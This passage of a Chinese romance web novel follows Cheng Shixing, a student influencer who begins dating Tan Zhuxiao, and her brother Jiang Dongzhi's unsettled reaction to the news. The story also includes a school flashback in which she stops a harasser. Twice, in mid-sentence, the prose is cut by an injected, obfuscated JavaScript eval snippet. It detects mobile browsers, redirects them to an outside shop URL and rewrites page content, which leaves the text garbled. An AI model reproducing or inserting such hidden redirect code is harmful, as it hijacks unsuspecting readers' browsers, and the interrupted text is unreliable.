“那个……打扰一下。”头顶笼下一片阴影,一道男声落入耳中,她抬起脸,陌生男生正站在桌前,紧握着手机,面色紧张,“同学,可以……”他慢吞吞亮出自己的微信二维码。 程拾醒婉拒:“不好意思,我有男朋友了。” 男生愣了下,“啊抱歉,我以为你是单身。” “没事。”她摇摇头。 范茹画目送着男生渐行渐远的背影,啧啧感慨:“我有预感,你又得上论坛了。”她连名字都取好了,一字一顿地念给程拾醒听,“c某新男友上任成功,目前身份不明,待知情人士补充。” 程拾醒突然问:“你校园歌手决赛选曲选好了吗?” “选好了。”提到这个,范茹画啊了声,郑重其事地告诉她,“下午那节课我去不了了,我得去练歌,我待会儿把pad给你,要是有位置签到,你就打开学习通帮我点一下。为了报答你,我将会在明天给你点一杯奶茶,放心,零卡糖,稳稳的,很安心。” 程拾醒盯着她看,不说话。 求人帮忙要有态度,范茹画朝她wink了下,歪嘴笑,拿出招牌霸总态度:“怎么了,女人?被我迷倒了吗?” “你牙上有菜。” “……”范茹画立马用嘴唇包牙,“你扣分。” 程拾醒憋不住了,笑到偏开脸。 - 天气预报显示下午有雨。 天阴下来,颜色浓得像一团化不开的墨,把阳光全部遮挡住。程拾醒中午回宿舍休息了会儿,顺便补了个妆,往外看了眼,出门时带了把伞。 雨是去教室的半路下的,临到教室的时候她收到范茹画的消息。 女娲神作:【公主,下课能帮我送把伞吗?我在教室楼上那个音乐房练歌呢。】 女娲神作:【爱你~】 程拾醒无语,回了个“收到”,进楼后,她收起伞面抖了抖,随意搁置在教室门口。 时间还算早,加上通识课管得松,此刻教室里空位还算多,她随便寻了个座位坐下后,便打开短视频app刷粉丝的评论与私信,挑着回复。 【姐姐,求上次那个春日妆用的唇釉色号~】 Puhpowee:【pinkbearR420。】 【老婆,有无上衣链接?】 Puhpowee:【chuuQQ炫舞联名露脐上衣。】 【有无身材链接?】 Puhpowee:【吉尼瘦背,帕梅拉站立瘦腿,体态大师直角肩,欧阳春晓沙漏腰,每天打卡一个半小时,再加一周两次健身房,可得同款。】 【姐姐你前段时间是不是参加了广吴省里的摄影比赛,好像在获奖名单里看见你照片了。】 她正欲打字回复,旁桌被推来一袋酸奶,草莓味的。 “这里有人吗?”有道熟悉的嗓音拂过她耳畔,程拾醒抬起头,撞进谈祝霄眼睛里的那一秒,唇角不经意勾了下。 看来赌对了。 她摁灭了手机,直直看向他:“没人。” 谈祝霄顺理成章在她身侧坐下,又把草莓酸奶往她那里推了推。 “谢谢。”程拾醒指尖掠过他的手背,很快接过酸奶。 是她喜欢的口味,之前在朋友圈发过。 她佯装无意:“你也上这堂课?感觉之前好像没有在这堂课上碰见过你。” “过来旁听。”谈祝霄答,“想学点视频剪辑技巧。” “想学这个,怎么不过来找我?”她开玩笑,“我可以教你,一对一辅导,不容易困。” 谈祝霄立即解释,像是生怕她对他的印象不好:“我上课不会睡觉的。” 程拾醒哑然失笑,又问:“那你下节课还会来旁听吗?” 他顿了下。 这次他学会了反问,抿了下唇瓣,轻声问她:“你希望我来吗?” 程拾醒偏着头看他,不说话。她的瞳色偏浅,棕色的,像剔透的琉璃,注视着人时总含着分淡淡的笑意,叫人容易陷进去。 窗外雨一直在下,淅淅沥沥,上课铃突兀地挤入这场漫长又短暂的对视里,与雨声混合着,砸在耳畔,像仅他一个人的心跳。 她慢慢吞吞挪开了眼睛,看着教授拿着U盘走上台,神色一如既往的从容,只说:“上课了。” 谈祝霄也跟着僵硬地回过头,望向讲台。 程拾醒对他的问题避而不答,就是这场避而不答令他煎熬了一整节课,注意力全集中在旁光上。 余光里,她撕开了酸奶袋,插进吸管吸了一小口,而后便一直目不转睛地盯着台上,似乎听得很认真,没有半点要转头同他说一句话的意思。 期间她还拿出了一次手机,好像是微信聊天页面。 她在和谁聊天呢? 她对别人也这样忽近忽远吗? 他当然无从得知,只能揣着忐忑度过了一个半小时,直至下课铃打响,外头渐大的雨声和教室内渐起的骚动声盖住了他的思绪。 “雨下大了。”程拾醒收拾完东西,苦恼地瞧了眼窗外,叹气,“早知道带把伞了。” 谈祝霄愣了下:“你出来没有拿吗?” “朋友正好要出门,就撑伞把我送过来了。”她谎言撒得很自然,反正课上也同范茹画串通好了,等范茹画练完歌了,自然会下楼把她的伞拿走的,“本来想着等下课了雨也该停了,朋友又正好顺路,我就懒得拿伞了。没想到还下大了。” “我可以送你。”谈祝霄嗓音贴着她话的尾声,显得有些急切,或许是被吊了会儿,有些按捺不住了,“你是要回宿舍吗?” “是。”程拾醒说,“谢谢。” “不客气。” 下了课,从教学楼涌出的人很多,伞面接踵。阴沉的天际像是裂开一道口子,泄了洪,雨水击打折了腰的柔软枝叶,顺着伞面滑落,拍打柏油路。 伞不算很大,勉强容下两个人。程拾醒挨着他的手臂,衣袖相互摩擦,在偌大的雨声中发出再微不足道的声音。 “你会来看决赛吗?”谈祝霄问。 “会。”她点点头,“范茹画也进决赛了。” “我知道。我的意思是,你会留下来听我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086024|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唱歌吗?”他补充,“如果我出场比她晚得多的话。” 到宿舍楼下了。 程拾醒在伞下转过身,抬着睫毛瞧他。 “如果我留下来了,会有什么好处吗?” 谈祝霄不太自然地用力捏了捏伞柄,在她的注视下鼓起了一点勇气,道:“我可以把奖杯送你。” 程拾醒笑了声。 奖杯而已,对她有什么用?又不是真金。 “还有别的吗?” 身侧大雨滂沱,她声音轻轻的,柔软的,像诱哄:“比如,你还想对我说点什么?再比如,这是我们第几次见面?” 谈祝霄倏地怔住。 时间回溯至广吴的上上一场雨,约好一起去修手机膜的那天早上九点十分,她睁开眼看见他微信的第一眼。 男女生宿舍相隔并不遥远,想要早上九点半卡着点来是轻轻松松的事。而他不仅早到,还要早到得让她知道,甚至后面还加了一句“外面下雨了,需要带雨伞”。 时间再往前推。 校园歌手初赛现场门口,身体相撞,手机跌落,他望向她时眼底的怔然转瞬即逝。 酒吧那夜,她将视线从台上收回的那一秒,余光处握着话筒双眼半阖的人慢慢吞吞睁开了眼,遥遥落在那扇被推开又合上的门上。 再往后的事便不提了。 她可并非一无所知。 程拾醒抬起手,手指慢慢吞吞握住了伞柄,就在他手的上方,再往下滑一点就会碰到。她就这样不上不下,神色看不出半点被隐瞒的生气,而是悠然的,饶有兴趣的。 “现在,你还要跟我说,好巧吗?” 雨在减小,雾蒙蒙的,细密的。谈祝霄沉默良久,低下了头颅,“抱歉。” 程拾醒直白:“你喜欢我?” “……”他静了几秒,“嗯。” “什么时候开始的?” “迎新晚会上。”谈祝霄轻声。 彼时他穿着迷彩服,坐在礼堂中央,台上灯光绚烂又晃眼,她在聚光灯下,在最前方,白色牛仔裙,棕色抹胸,领着一众舞蹈社的社员,步步似生花,以强势的姿态轰然开在他心脏处。 她想起来了,面色平静地点点头。 “酒吧的驻唱工作……确实是我知道你常去,所以才去应聘的。”他诚实地低声道来,“至于校园歌手比赛,我真的不知道你会来看。不过我承认,在门口撞到你这件事是我故意的,很抱歉把你手机屏幕砸坏了,其实我早就看见你打着电话匆匆走过来了,只是出于私心,脚下没有减速。” 倒是套出了些她没想到的。 程拾醒不知该哭还是该笑。 “喜欢我什么?漂亮?”他的话听上去像是见色起意,但她也并不在乎,毕竟她也常是个见色起意的人。程拾醒一直持着“食色人之性也”的观点,最肤浅的表面总偏偏是人最容易被了解到的部分,如果从这一步开始就毫无兴致,还谈什么更深入的喜欢? 当然,她虽平时人际关系还可以,人群之中多多少少会因为她的恋爱态度而造就各种闲言碎语。 那个程拾醒啊,她花心,前任们都能凑齐十二星座;她肤浅,总挑长得好看的作男友;她不矜持,看上了便主动;她敷衍,每一场恋爱持续时间都很短,来得猛烈,去得迅速;她撒谎总不眨眼,甜言蜜语总有一套,诱哄人为她做各种各样的事…… 人们以上种种看法,她不太在意,也愿意全盘接受。每个人对爱情的观念都不相同,旁人管不着她怎么活,她也管不着旁人怎么想。 只是有一点,感情是双方的。在开启一段恋情之前,她有义务向对方说明自己的恋爱观,倘若对方无法接受,耸耸肩也就过去了。 所以,她调侃:“我的风评可不好。” “我不知道什么风评。”谈祝霄说。 程拾醒诧异,她觉得自己在学校里还是挺出名的,各种意义上的,八卦上的也算:“你没听别人提起我在恋爱中是个什么样的人吗?” “听过。”他的嗓音伴着雨,清冽如风,“可是我不想靠别人的言语来认识你。” “好吧。”程拾醒弯起唇角,“那你现在需要开始认识我了。” 谈祝霄一呆,握着伞柄的手收紧了,紧张地盯着她的下睫毛——他实在不敢直视她的眼睛。 “什……么意思?” “我是个很容易喜欢上别人的人,不喜欢在感情里考虑什么未来,现在想做什么就做什么,也不想考虑什么后果。至于喜欢这件事能持续多久我也不知道,全凭个人感觉,或许下一秒就腻了。喜欢就谈,腻了就分,分手了就当从来没有认识过,如果对方分手后还来找我……真的挺没意思的。当然,如果对方对我先腻了,要分手我也绝对不会纠缠,大家好聚好散。有的时候大家对我的评价其实也没错,我确实……挺渣的。” 程拾醒说:“总之我不是个稳定的人,我能向你保证的只有,在这段关系进行的时候,我不会让第三个人插足在我们之间。” 她的手指下滑,终于触碰到他的,语气那样轻飘,像朵游动的云:“所以,我的意思是,如果你愿意接受并答应我说的一切,现在向我表白,我会回答说好。” 意思是她确认,现在她对他的兴趣很浓厚,厚到她愿意给他个名分。 反正这只是一场恋爱,无关她漂亮的未来,无关她肆意的人生规划,需要考虑那么多吗?追求开心就够了。 17. 17 范茹画练完歌,已经临近晚上了。 音乐教室的落地窗外晚霞随云飘动,像倒翻了几瓶艳丽的颜料,在天际糅杂、混合,渲染出一片瑰丽的油画。 她坐在一旁的钢琴椅上稍微休息了会儿,灌了口水,随意打开学校论坛刷了会儿。 果然,在无聊枯燥的学习生活里,八卦的力量是无比强大的,尤其是和恋爱沾边的话题,尤其是其中一个人很有名。如她所料,关于她的好闺蜜c某的恋爱已经被冲上了热帖。 并且,她还低估了她们学校八卦的实力,就这么一会儿的工夫,谈祝霄叫什么哪个学院哪个专业几年级的都被扒了个干净,还附带了一张两个人共撑一把伞的照片。 她刷了刷评论区。 1L:【流水的男友,铁打的c某。】 2L:【c某今天戴的那个鸭舌帽,有没有姐妹帮我问一下链接?颜色好嫩,好显脸小。】 3L:【回楼上,你可以去短视频平台私信她,本人亲测,要链接的c某基本都会回的。】 …… 7L:【c某私生活那么乱为什么还有那么多人喜欢她?她的账号底下居然也没人喷这件事,太神奇了。】 8L:【我不关心什么乱不乱,我是她的链接粉,我不允许任何人抨击她的账号,目前全互联网都找不到她的平替,她要是被喷下架了,我该如何挑选好物?(大哭)】 9L:【技术粉探头。其实本来也是喷的,后来发现她分享的化妆方法真的很好用,吃人嘴软拿人手短,骂她会使我感到心虚。】 10L:【只有我觉得她活得很酷吗……而且虽然恋品不祥,但朋品极好。】 范茹画看到“恋品不祥,朋品极好”这八个字,险些笑喷出来,憋着笑给程拾醒截了屏,顺便帮她控了波评。 15L:【牛奶肌肤c某(星星)美神降临c某(星星)美貌技术并存!互联网女娲炫技代表(爱心)日常超宠粉!百变风格!无懈可击!期待c某下一个妆教视频!】 这段还是复制程拾醒视频底下粉丝的搞怪文案后稍加改动的。她顺带把这段一起截屏打包送去了微信,程拾醒还未回复,她再次刷新了下评论区,多了几条新评论,但她依旧盯着那句“只有我觉得她活得很酷吗……而且虽然恋品不祥,但朋品极好”发呆。 范茹画忽而想起大二刚开学那会儿,她跟着程拾醒去了舞蹈社聚餐。路灯朦胧,正是微醺时,她听见赵期玉小声嘟囔着问她:“范学姐,你为什么和社长关系那么好?听说……社长身边可乱了。” 她也喝得神智不太清醒,傻笑了下,把手指竖在赵期玉唇边,比了个“嘘”的手势。 “不准你说她。”范茹画趴在桌上,扬着眉梢得意洋洋,“她可厉害了。” 从范茹画知道程拾醒那会儿开始,她就是个耀眼的存在,以中考第一名的成绩进的高中,名字高高挂在公示栏上,以各种各样的理由,比如竞赛拿奖、晚会主持、红旗下演讲……当然,也有批评的,比如校内打架喜得违纪单一张。 那次打架就是因为范茹画。 她一直都是个胆小的人,最擅长的就是受到欺负时忍气吞声。 高一时,程拾醒还是她隔壁班的同学。那会儿班上有个普信男,在范茹画上台唱过一次歌后彻底盯上了她。她照小镜子,他就坚信她是在借着镜面反射偷瞄自己;她课间出去倒水经过他身侧,他就认为她是故意想要离自己近一点。 在得到她的拒绝后,点着她的鼻尖自信心爆棚地说请不要欲情故纵,吓得她掉头就跑,去厕所狠狠拿水洗鼻子。 这场骇人的骚扰在高一元旦晚会时抵达了顶峰。 范茹画是住校生,元旦晚会开始前,趁着晚餐休息时间回宿舍冲了个澡洗了个头发,来不及完全吹干,仅在手腕上缠了根橡皮筋便匆匆赶往礼堂,找到班级队伍后跟着入场。 她恰巧坐在班级划分区域中最左边的位置,而左手边,属于隔壁班划分区域的那个位置,坐的正是程拾醒。 晚会正式开始,灯光暗下来,不远处舞台明亮,橙黄色光束交叉挥舞着扫过观众席,鼓声铿锵,舞狮吐对联。而身后窸窸窣窣声不断,似乎是有人在换座位。 片刻后,范茹画察觉到有人在拨动自己的头发,扭过头,光束扫过身后人的脸——正是那个男生。 “你怎么在这?”她皱起眉。 她分明记得,自己身后坐着的人不是他。 “拿薯片换了个座位。”男生笑着,在她的目光下,自然地搓捻起她的一缕发丝,“你头发好香啊,用的什么洗发水?” 她略感不适,皱眉:“你不要碰我头发。” “为什么?”男生又笑嘻嘻地捏了捏她的肩膀,“你告诉我是什么牌子的洗发水,我和你买情侣款,不好吗?” “都说了你别碰我。” 她抗拒地想把头发从他手里抽走,却被捏得太紧,怎么着都抽不回去,男生只当她的拒绝是调情,浑不在意地说:“我们俩都这个关系了,为什么不能……” 话音未落,身侧有人拧过身子,范茹画还没反应过来,只觉风声掠过,紧接着一声清脆的“啪”声卡着舞狮的节奏响亮炸起。 男生捂着脸,蒙了。 她也蒙了。 程拾醒面无表情地旋着身子,从他手里抽回她的头发。 待男生反应过来后,大怒:“你干什么?” “你干什么?”程拾醒反问。 “我跟我女朋友聊天,管你屁事?” “人家答应了吗你就说人是你女朋友?”程拾醒冷笑了声,扬着下巴,垂眼上下打量他,“没听她说不要吗?耳朵聋了?需要我送你去医院吗?” 男生低吼:“我女朋友跟我撒个娇而已,你怎么管什么宽?” 范茹画鼓起勇气反驳:“谁是你女朋友?” “调情看见没?”男生指着范茹画,“你懂不懂?” “好啊那我就举报你俩早恋。”程拾醒立马道,举报这招她还是从蒋冬至那儿学的,“让你们班主任管,要发现不是早恋,那你就是单方面骚扰。” “……” 一提到老师,男生怂了,气焰下来了,喏喏着狡辩:“就是同学之间开个玩笑……”他想起自己挨的那巴掌,又硬气了,“倒是你,凭什么打人?” 他这一嗓子,周围许多人都从舞台上收回了视线,侧目悄悄望过来。 “我也只是开个玩笑啊同学。”程拾醒眉毛一低,语气一软,端了副无辜又委屈的模样,吃惊地询问,“你为什么要吼我呢?有话好好讲不行吗?” 男生气个半死,当即站起来,捋起毛衣袖子,作势要把她拎起来。 二班的同学见不得本班同学被隔壁班欺负,哗啦一下也跟着起来了,手指对方,“你什么意思?欺负女生呢?” …… 这么一站二站,事情还是闹到老师那去了。 程拾醒乖乖巧巧地坐在那里,边上的男生气急败坏地跟老师诉说她方才的罪状。而范茹画规规矩矩坐在程拾醒身侧,偷偷摸摸瞥男生高肿的半张脸和清晰的五指印,目瞪口呆。 ……之后程拾醒向她解释说由于在家跟哥哥不对付天天打架,为了能赢得战争的胜利,假期办了健身房的卡去举铁了,所以力气会比较大一点。 也是举铁之后,她发现她哥是遇强则强。 男生控诉得声泪俱下,程拾醒听得连连吃惊,撒谎不带眨眼地说:“同学,我哪有那么大的力气?” 她装得很好,但是她忘了,礼堂里有高清监控。 事情一查,水落石出,男生因为骚扰女生被罚了处分, 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外头的灯火通明透过落地玻璃窗映进屋子里,霓虹灯璀璨,车流不息。他关了办公室里的灯,工位上还有几个同事没走,盯着电脑敲击键盘。 蒋冬至臂弯里挂着件外套,按下公司电梯的下行键,等待电梯来时打开手机瞧了眼。 Puhpowee:【加班?】 今天她有拍摄,估计眼下刚到家,没看见他人。 他回复:【刚下,准备回来了。】 Puhpowee:【回来的路上可以顺便帮我取个快递吗?品牌送的,谢谢哥哥。】 她很快发来了一张截图,上头是她的快递柜取件码。 其实程拾醒很少让他代取快递,除非是人在学校有事回不来,但快递寄到了家,放快递柜超时间了得付费,才叫他去取。 蒋冬至动了动手指,打字问:【你在家还是学校?】 还未等到她回复,电梯门开了,刚进去,有人喊着“等一下别关门”直直冲过来,待进了电梯,那人才喘了口气,扭头一看他:“哟,蒋总,这么晚才下班啊?” 是同事,叫沈良,不是一个部门的,联络称不上多,只是他弟弟也在广吴大学念书,所以在公司里偶尔碰到也便打个招呼。 “你也一样。”蒋冬至道。 “忙啊,手头那个项目太大了。”沈良寒暄了句,便不再继续开口了,低头刷手机。 公司楼层高,电梯下行有一会儿。沈良刷了会儿手机,忽而哎了声,把手机屏幕转给他看:“这背影,看着好像是你妹妹吧?” 蒋冬至偏头望过去。 手机屏幕上的那张照片里,大雨朦胧,一男一女共撑一把伞,手臂挨着,是极其暧昧的距离。 女生长发散落,棕色波浪卷随意披在脑后,被风撩起,定格在蓬乱的一秒,上身套着件款式简单的黑色皮衣外套 ——前年她生日时,他送的。 蒋冬至的目光慢慢挪到她身侧、为她撑伞、露出张侧脸的那道身影上。 他的记忆一向很好,比如不需要多加辨认,只需一眼就认出,这个人他见过,在她学校的礼堂前、路口、家附近那座大厦的门口。再比如不需要多加思考,就会想起她摔碎的手机屏幕,还有手指上那片创可贴。 “我弟发我的。”沈良还在说,“说是几天前有人发在学校论坛上的分享高颜值情侣贴,还跟我说这个女生是网红,最近可火了,身边好多人都在讨论她。我一看图片,好眼熟,仔细一寻思,这不你妹吗?” 情侣…… 他的目光又落到了程拾醒的背影上,低着眼睑,垂下的睫毛在眼下被灯光投出一小片阴影,将他的神色笼罩在漆黑中辨不分明。 半晌,蒋冬至开了口。 “嗯。”他低声,“是她。” 18. 18 直至蒋冬至取完快递回了家,程拾醒也没有回复消息。 家里的灯暗着,他进了玄关处,按亮灯,低头一望,程拾醒的拖鞋不见了。 原来她在家。 他将快递随手搁置在鞋柜旁,洗完手后,为自己倒了一杯水,倚在厨房柜台前,一边抿着水一边单手长按引用程拾醒先前要他拿快递的那条微信消息。 DonovanJiang:【1】 水喝完后,他将杯子轻置在大理石台面,正要踩着拖鞋回房间,视线扫过垃圾桶,忽而一顿。 买药的黄色外卖纸袋被随意揉成团,皱巴巴地蜷在垃圾桶一角,外卖单展在纸袋边。他蹲下身,手指夹住外卖单,蹙着眉确认上头的黑字。 感冒灵颗粒、京都念慈庵枇杷膏。 - 今天室外的光线不太好,带了反光板,但出片率并不高。程拾醒穿着件单薄的吊带裙,走起路时做旧的米白暗红拼接不规则裙摆晃动,像只枯叶蝶在起舞,沿湖边漫步的镜头拍了几次,跟充当摄影师的范茹画抠了几遍细节,还要等一阵恰如其分的风、发梢扬起时正好的弧度。 结束拍摄已经是几个小时后的事情了。 十月尾的天气,太阳被云遮住时空气便凉得彻底。程拾醒套上外套,对着相机最后确认了遍素材,才算收工,同范茹画道了再见,便匆匆赶回去剪辑视频。 到家时已是下午五点钟,入了秋后,天暗的速度肉眼可见快了起来。起先她没觉得有什么不对劲,回了家后聚精会神地坐在电脑面前导素材、剪视频。但很快,昏沉的头、暗哑的嗓子、堵塞的鼻子,像一张网把她笼住,程拾醒这时才意识到自己中招了。 换季本就是感冒高峰期,人生病总是在所难免,好在没发烧。 家中药箱空了,她叫了外卖,随后也不打算继续工作了,洗了澡吃了药,打算躺床上睡一会儿。 临睡前接到了来自谈祝霄的微信电话,这位男友新上任,粘人得厉害。先前程拾醒忙着拍摄的事,已经近一天没有回过他消息了,问就是在忙。 一接起来,对面就问:“宝宝,你忙完了吗?” 程拾醒应了声。 “那……”对面拖着音,嗓音黏糊,“你现在在做什么呢?” “准备睡了。” “这么早?” “嗯,不太舒服。” 谈祝霄立即紧张起来:“哪里不舒服?是生病了吗?需要我送药吗?” 程拾醒本就不适,他噼里啪啦连抛了几个问题过来,更觉头晕,同时又觉得有点好笑。 “不用你送,况且我也不在学校。”她翻了个身,道,“我想睡会儿。” “那我不打扰你了,你好好休息。” “知道了。”药力上来了,她觉得很困,眼睛半阖着,动着唇喊他名字,嗓子半哑着,几乎是呢喃,却又很清醒,“谈祝霄。” “怎么了?” “下周六你有事吗?” “没有。” “那就出来和我约会吧。” 电话那头传来椅子摩擦地面发出的尖锐声,刺啦一下,很急促,隔了几秒,谈祝霄说:“好……好的。” 她听着那头的动静,弯起唇角。 “晚安。” “晚安。” 程拾醒挂断了电话,合上眼昏昏睡去。 不知时间过去了多久,她好像做了场美梦,但梦里的一切都朦胧,令人说不出所以然。 楼下似乎有人在吵架,尖锐的本地脏话穿过几个楼层,隐隐约约从窗户缝隙里渗透进来,她被吵醒了,缓缓睁开眼睛望着天花板,听着叫骂声缓了几秒,才从睡梦的状态中彻底抽离出来。 睡觉总是治愈疲惫与疾病的神器。一觉醒来,头不晕了,嗓子也不卡刀片了。 摁亮手机看了眼时间,现在是晚上九点。程拾醒觉得有些口渴,摸着黑下床开门出去倒水。 房间外灯光明亮,应该是蒋冬至回来了。 刚从黑暗里出来,她的眼睛还不太适应光线,半眯着,靠对家布局的熟悉度慢慢摸进了厨房,泛着白的视野里,有道身影半蹲在地上,衬衣袖口被卷着拢到臂弯处,指间还夹着那张被她丢进垃圾桶里的外卖单,听见拖鞋声,从外卖单上抬起头,视线落在她身上。 程拾醒慢慢接受了光线,眼前蒋冬至的面容也逐渐清晰了起来,她一眼扫过他,也没管,径直为自己倒了杯水,平淡地问:“刚回来?” 嗓子还是有点哑。 蒋冬至应了声,起了身,忽而向她走近两步。他个子高,靠近时整个人投下的阴影笼住她,像一团正压境而来、让人逃不开的黑雾。 程拾醒半抱着胸,另一只手握着茶杯,腰抵着台面,膝盖微曲,刚睡醒,长发凌乱地散着,一派慵懒放松的模样。见他抬手,下意识往后仰了仰上半身。 而后,有一只冰凉的手贴上了她的额头。 她顿了下,随后偏过头,道:“量过了,没发烧。” “哪里不舒服?”蒋冬至问。 “吃了药,睡了会儿,已经好多了。”她说着,正欲转身出去,被人捏了手腕,扭过头,蒋冬至正蹙着眉看着她。 对视了几秒,程拾醒才道:“嗓子难受。” “知道了。”他松开了她,“你再去休息会儿吧,我煮碗冰糖雪梨。” “嗯。”她举着杯子往回走,临到厨房门口,忽然停住了脚步,回头去望。 蒋冬至刚解下腕上的手表,从冰箱里挑了两个雪梨出来,开了水龙头,微弯着腰冲洗,黑色衬衣衣摆被数尽收进皮质裤腰带里,勾勒窄腰。 也是奇怪,那么多年的家务活基本都是他来做,洗洁精、洗衣粉、肥皂、漂白剂……那双手也沾了个遍,但偏生还是白皙漂亮得不像话,掌心宽大,手指细长,薄薄的皮肤覆在青筋之上,沾了水,指腹在灯光下闪着晶莹,控着削皮刀利索地卷下一圈又一圈不断连的梨皮。 “程拾醒。”最后一圈梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105431|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮断开,蒋冬至转过脸,望向她,“看我做什么?” 她收回神,“没什么,我回房间了。” “等等。”他叫住她,手擦干了,伸进口袋,过了几秒,一颗糖果被轻轻搁在大理石台面上,葡萄味的。 她站在那儿没动,他翘起眉梢,若有似无勾了个笑,没看她,只低头切着雪梨,刀刃触碰砧板,发出哒哒的闷响,他问:“药不苦吗?” “不觉得。” “不觉得也拿走。” 程拾醒默,半晌,还是抬脚走过去拿走了糖。 回到房间,房门闭合,她拆开了那颗糖。 甜味在舌尖化开,她盯着被拆开的包装袋,片刻后揉了揉,透明塑料发出咯吱咯吱响,而后被丢进垃圾桶。 一如既往的甜。 - 冰糖雪梨出了锅,蒋冬至敲响程拾醒的房门。 里面没反应,他又敲了遍:“程拾醒?” 里头依旧毫无动静。 蒋冬至眉心一皱,直接推开门,她正坐在电脑面前,戴着副头戴式耳机,手指握着鼠标,目不转睛地盯着电脑,唇微微抿着——她认真时总会有这样一个下意识的小动作。 他走近几步,站定在她身后,垂头扫过她的电脑屏幕,PR漆黑的背景板上播放着她刚剪完的视频。 视频里的程拾醒化着精致的妆,纤细的手臂搭放在湖畔的围栏之上,肩膀微耸,棕色的长发与裙摆一起随风摇晃,眉眼舒展,自由惬意;视频外的程拾醒素颜朝天,穿着睡衣,上半身微微前倾,专注地确认着最后的效果,连他进来了都不知道。 蒋冬至再一次想起了今天下班时看到的那张照片,今晚第三次。 照片里的她既不似视频里那般,也不像他眼前如此。偷拍的照片画质模糊,却也盖不住那股流动的、朦胧的、暧昧的荷尔蒙,顺着相触的手臂向上蔓延,至她上挑着的、含着笑的、望向身边人的眼睛,宇宙浸入她眼底,任由雨天的迷离沾湿她的睫毛。 令人心悸。 那种心跳连着脉搏,在体内横冲直撞,无处发泄的心悸。 却无法找个合适的由头将这份莫名其妙的情绪命名。 烦躁?别扭?或者…… 蒋冬至侧倾身子,指关节在她的桌面上轻扣两下。 程拾醒一愣,这才摘下耳机,仰脸望过来,疑惑。 蒋冬至问:“不是让你休息会儿吗?” “感冒而已,又不是什么大事。”她保存了视频,起了身端过雪梨汤,“谢谢哥哥。” “我们之间似乎用不着说客气。” 程拾醒瞥了他一眼,弯了下唇角,像是一种敷衍的回应,什么也没说,便不紧不慢地出了房间。 蒋冬至刚要跟着出去,耳朵倏地捕捉到一声消息提示音,余光处,程拾醒搁置在桌边的手机屏幕亮起。 他下意识垂眼扫过,蓦地凝滞。 A男朋友:【宝宝,睡醒了吗?身体好点了吗?】 19. 19 程拾醒在外面玩得花,他并非不知道。 娱乐场所常去,男友一任接着一任换,她当然从不愿意告诉他,但从她学校的论坛里、网上、朋友口中、她有时捧回来的玫瑰花中,也能探得一二。 还偶尔会有没处理好的前任闹到他这里来,比如,知道了她有个哥哥,四处打听,故意想从他这里下手,两个人分手后,趁着他来学校时,堵着他的路,声泪俱下地告诉他说自己有多爱他的妹妹;再比如,有一位不知从哪弄来了她的家庭住址,门一开,他看着面前呆愣的男生,既觉得荒谬,又觉得可笑。 他细细打量过那群男生,确实长得都能看,但没一个比他长得帅,他不太理解她是什么眼光,细糠看久了,居然还能向下去找劣级。 好笑。 不过他的这位妹妹还年轻,生性张扬,爱玩也正常。 在他的观念里,恋爱是一件长久的事情,是频繁的心动,是漫长的陪伴,是令人难以捉摸的,所以需要时间确认的。因此对于她那些乱七八糟、时间短暂的、冲动的恋爱,他也没当回事,睁一只眼闭一只眼便把这些荒唐事掠过去了。 ……但今天是蒋冬至第一次看到她望向那个所谓男友的眼神,那是他从来没有见过的。 像朵正在盛开的花。 也像突然出现的一根刺,小小的,还没有指甲盖高,却沉得不得了,一下砸在他们之间的天平上,砸得他生疼的同时,令他眼睁睁地看着那根刺隔在他们中间,让本就离心的她向别人倾斜。 蒋冬至突然意识到,他自以为是世界上再了解她不过的人,但他所感受到的不过她的一半色彩,会有人看见他不知道的属于她的另一面,即使他们一起度过了那么多年。 他凝望着那条微信,缓缓伸出手,指尖轻轻点到屏幕上,正好是指纹处,于是他指尖触碰的地方晕开花纹,又嗡的一声响——验证失败。 程拾醒没告诉过他手机密码,不过其实她会设置成什么,他大致也能猜到,试个几回就能轻松解开。 蒋冬至就这么垂着眼望着,半晌,指尖一颤,从屏幕上挪开,随后摁灭了手机,一下倒扣在桌面上。 但他不想看,不应该看,也不能看。 未来她有可能会跟哪个男友同居、结婚,抛弃他,然后组成一个真正的家庭。这是再正常不过的事情,没什么值得焦虑的。 况且那都只是未来。 男朋友,这也不过是一个名头,能代表什么? 他深吐出一口气,平复心跳。 程拾醒喝完了雪梨汤,回了房间,见他还伫立在那儿,脸色难看,不由拧眉:“怎么了?” 蒋冬至抬眼撞上她的目光,平淡的、他向来熟悉的、和照片里截然不同的目光。 “没事。”他垂下眼,抬起脚,与她要擦肩而过的那秒,突然停住了步子,叫道,“程拾醒。” “嗯?” “你有没有什么想对我说的?” 她歪头,不解:“没有,你怎么突然问这个?” “随口一问。”实际上他也不知道想听见些什么,寂静了半晌,最后说,“晚安,早点睡。” 她随意应声:“晚安。” - 程拾醒与谈祝霄约好了周六在动物园见面。 为此,程拾醒精心打扮了一番,穿了件明黄色的毛衣开衫,内搭白色吊带衫,短裙,光腿神器,堆堆袜,脖颈间挂了条银色锁骨链,两段锁骨间坠着个颗黑色的爱心,长发编成两股鱼尾辫,垂在胸口,再别上橙色的橙色贝雷帽。 正好拿这身出了个秋日妆容穿搭视频,粉丝老规矩求链接,她在出租车上,链接挨个分享过去。 耳机里放着歌,是首旋律轻快的轻音乐,连带着她的心情也轻快很多。 